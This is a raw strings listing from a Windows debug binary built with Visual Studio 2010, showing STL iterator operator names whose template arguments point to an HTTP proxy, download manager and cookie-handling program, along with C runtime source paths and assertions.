std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,long,struct std::less<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::allocator<struct std::pair<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > const ,long> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct _OVERLAPPED_IO *,class std::allocator<struct _OVERLAPPED_IO *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class CProductRegisterInfo *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class CProductRegisterInfo *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator ==

std::_List_const_iterator<class std::_List_val<struct PostData,class std::allocator<struct PostData> > >::operator *

std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator

std::_List_const_iterator<class std::_List_val<struct std::pair<char *,unsigned int>,class std::allocator<struct std::pair<char *,unsigned int> > > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator ==

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator  =

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator ==

std::_Deque_const_iterator<class json::UnknownElement,class std::allocator<class json::UnknownElement> >::operator --

std::_Vector_const_iterator<class std::_Vector_val<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > > >::operator  =

%Program Files% (x86)\Microsoft Visual Studio 10.0\VC\include\regex

std::_Vector_const_iterator<class std::_Vector_val<char,class std::allocator<char> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,unsigned int,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,unsigned int> >,1> > >::operator

std::vector<class std::tr1::sub_match<char const *>,class std::allocator<class std::tr1::sub_match<char const *> > >::operator []

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator

std::_List_const_iterator<class std::_List_val<class RedirectDomainRule *,class std::allocator<class RedirectDomainRule *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class IHttpProxyWorker *,class std::allocator<class IHttpProxyWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class IFileDownloadMgr *,class std::allocator<class IFileDownloadMgr *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IProxyWorker *,class IHttpFileDownloadMgr *,struct std::less<class IProxyWorker *>,class std::allocator<struct std::pair<class IProxyWorker * const,class IHttpFileDownloadMgr *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class RequestInfo,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class RequestInfo> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > > >,1> > >::operator

std::vector<class CachedBuffer,class std::allocator<class CachedBuffer> >::operator []

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator ==

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator ==

std::_Deque_const_iterator<class RequestInfo *,class std::allocator<class RequestInfo *> >::operator *

std::_List_const_iterator<class std::_List_val<class HttpProxyRemote *,class std::allocator<class HttpProxyRemote *> > >::operator *

std::_List_const_iterator<class std::_List_val<enum FileDownloadMgr::WORKING_THREAD_COMMAND,class std::allocator<enum FileDownloadMgr::WORKING_THREAD_COMMAND> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class HttpCookie *,class std::allocator<class HttpCookie *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> >,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class std::list<class HttpCookie *,class std::allocator<class HttpCookie *> > > >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > >,class HttpCookie *,struct std::less<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >,class std::allocator<struct std::pair<class std::tstring<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > const ,class HttpCookie *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class EventImplTable,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class EventImplTable> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class IProxyExtension *,struct std::less<int>,class std::allocator<struct std::pair<int const ,class IProxyExtension *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class INetworkInterfaceEvents *,class std::allocator<class INetworkInterfaceEvents *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned long,class CNetworkInterfaceManager::InterfaceInfo *,struct std::less<unsigned long>,class std::allocator<struct std::pair<unsigned long const ,class CNetworkInterfaceManager::InterfaceInfo *> >,0> > >::operator

std::_Deque_const_iterator<enum LightXML::ParseState,class std::allocator<enum LightXML::ParseState> >::operator *

std::_Deque_const_iterator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> >,class std::allocator<class std::basic_string<char,struct std::char_traits<char>,class std::allocator<char> > > >::operator *

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CHttpCacheData *,class std::allocator<class CHttpCacheData *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator ==

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator *

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator

std::_List_const_iterator<class std::_List_val<class SubjectDataProperty,class std::allocator<class SubjectDataProperty> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<int,class SubjectDataProperty,struct std::less<int>,class std::allocator<struct std::pair<int const ,class SubjectDataProperty> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<class IObserver *,class IObserver *,struct std::less<class IObserver *>,class std::allocator<struct std::pair<class IObserver * const,class IObserver *> >,0> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator --

std::_List_const_iterator<class std::_List_val<class ICacheWorker *,class std::allocator<class ICacheWorker *> > >::operator *

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator --

std::_List_const_iterator<class std::_List_val<class JobInfo *,class std::allocator<class JobInfo *> > >::operator *

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator ==

std::_List_const_iterator<class std::_List_val<class CConnectionsManagerSocket *,class std::allocator<class CConnectionsManagerSocket *> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator *

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator ==

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int,class AccelerationData *,struct std::less<unsigned int>,class std::allocator<struct std::pair<unsigned int const ,class AccelerationData *> >,0> > >::operator --

std::_Tree_const_iterator<class std::_Tree_val<class std::_Tmap_traits<unsigned int const ,unsigned int,struct std::less<unsigned int const >,class std::allocator<struct std::pair<unsigned int const ,unsigned int> >,0> > >::operator --

f:\dd\vctools\crt_bld\self_x86\crt\src\xstring

f:\dd\vctools\crt_bld\self_x86\crt\src\streambuf

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator *

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator

std::_String_const_iterator<wchar_t,struct std::char_traits<wchar_t>,class std::allocator<wchar_t> >::operator  =

std::_String_const_iterator<unsigned short,struct std::char_traits<unsigned short>,class std::allocator<unsigned short> >::operator  =

cf:\dd\vctools\crt_bld\self_x86\crt\src\dbgdel.cpp

f:\dd\vctools\crt_bld\self_x86\crt\src\sprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c

_CrtCheckMemory()

_CrtIsValidHeapPointer(pUserData)

_CrtSetDbgFlag

(fNewBits==_CRTDBG_REPORT_FLAG) || ((fNewBits & 0x0ffff & ~(_CRTDBG_ALLOC_MEM_DF | _CRTDBG_DELAY_FREE_MEM_DF | _CRTDBG_CHECK_ALWAYS_DF | _CRTDBG_CHECK_CRT_DF | _CRTDBG_LEAK_CHECK_DF) ) == 0)

_CrtMemCheckpoint

f:\dd\vctools\crt_bld\self_x86\crt\src\printf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fread.c

f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrpt.c

wcscpy_s(szOutMessage, 4096, L"_CrtDbgReport: String too long or IO Error")

memcpy_s(szShortProgName, sizeof(TCHAR) * (260 - (szShortProgName - szExeName)), dotdotdot, sizeof(TCHAR) * 3)

wcscpy_s(szExeName, 260, L"<program name unknown>")

__crtMessageWindowW

f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c

f:\dd\vctools\crt_bld\self_x86\crt\src\malloc.h

("Corrupted pointer passed to _freea", 0)

f:\dd\vctools\crt_bld\self_x86\crt\src\fclose.c

mscoree.dll

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsrchr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\gmtime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbschr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbscmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsncpy.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcat.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsstr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strlwr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\wcsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stricmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strnicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\feoferr.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fwrite.c

f:\dd\vctools\crt_bld\self_x86\crt\src\mktime64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\sscanf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\loctim64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\ftell.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fseek.c

f:\dd\vctools\crt_bld\self_x86\crt\src\access.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fputc.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fprintf.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fdopen.c

f:\dd\vctools\crt_bld\self_x86\crt\src\memicmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\strtol.c

f:\dd\vctools\crt_bld\self_x86\crt\src\bsearch.c

f:\dd\vctools\crt_bld\self_x86\crt\src\stat64.c

f:\dd\vctools\crt_bld\self_x86\crt\src\tcsncpy_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\tcscat_s.inl

f:\dd\vctools\crt_bld\self_x86\crt\src\mbsnbcmp.c

f:\dd\vctools\crt_bld\self_x86\crt\src\fgets.c

strcpy_s(errmsg, (94 38 2), _get_sys_err_msg(errnum))

.sizeInTChars > 0

f:\dd\vctools\crt_bld\self_x86\crt\src\memmove_s.c

